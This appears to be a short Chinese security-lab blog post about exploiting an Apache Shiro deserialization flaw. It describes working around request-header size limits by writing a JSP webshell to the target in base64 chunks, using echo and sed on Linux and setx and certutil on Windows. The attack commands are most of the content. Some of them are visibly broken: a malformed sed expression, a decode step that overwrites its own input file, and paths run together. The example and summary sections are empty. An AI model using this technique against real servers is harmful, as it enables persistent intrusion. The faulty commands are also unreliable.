记一次shiro反序列化无法写入shell分析

破军安全实验室

0x00  前言

0x01  发现

发现目标登录API存在Shiro指纹。

经检测得到密钥以及利用链，尝试Shiro反序列化利用工具进行命令执行。

0x02  利用过程

尝试手工写入webshell以及内存马写入，均无法成功写入。

经过分析响应数据包，发现问题在于请求头长度太大，导致服务器无法处理或处理当前请求。

知道问题所在后，测试服务器可接收的请求头长度，将webshell进行base64编码后分割，手工写入webshell。

Linux写入方法(除echo -n外的方法)：

首行通过echo的方式进行写入

echo 'chunkdata'> path/shell.jsp

其余行通过sed将其写入行尾

sed -i '/$s/$/chunkdata/' path/shell.jsp

最终base64解码写入文件

cat path/shell.jsp|base64 -d > path/shell.jsp

示例：

Windows写入方法：

设置永久环境变量

setx chunk_1 data1setx chunk_2 data2

当设置完环境变量或N个环境变量后写入文件

echo %chunk_1%%chunk_2% > pathtext

最终base64解码写入文件

certutil -decode pathtext pathshell.jsp

示例：

由于目标为Linux，这里我们就用Linux的写入方法，手工写入Webshell。

0x03  总结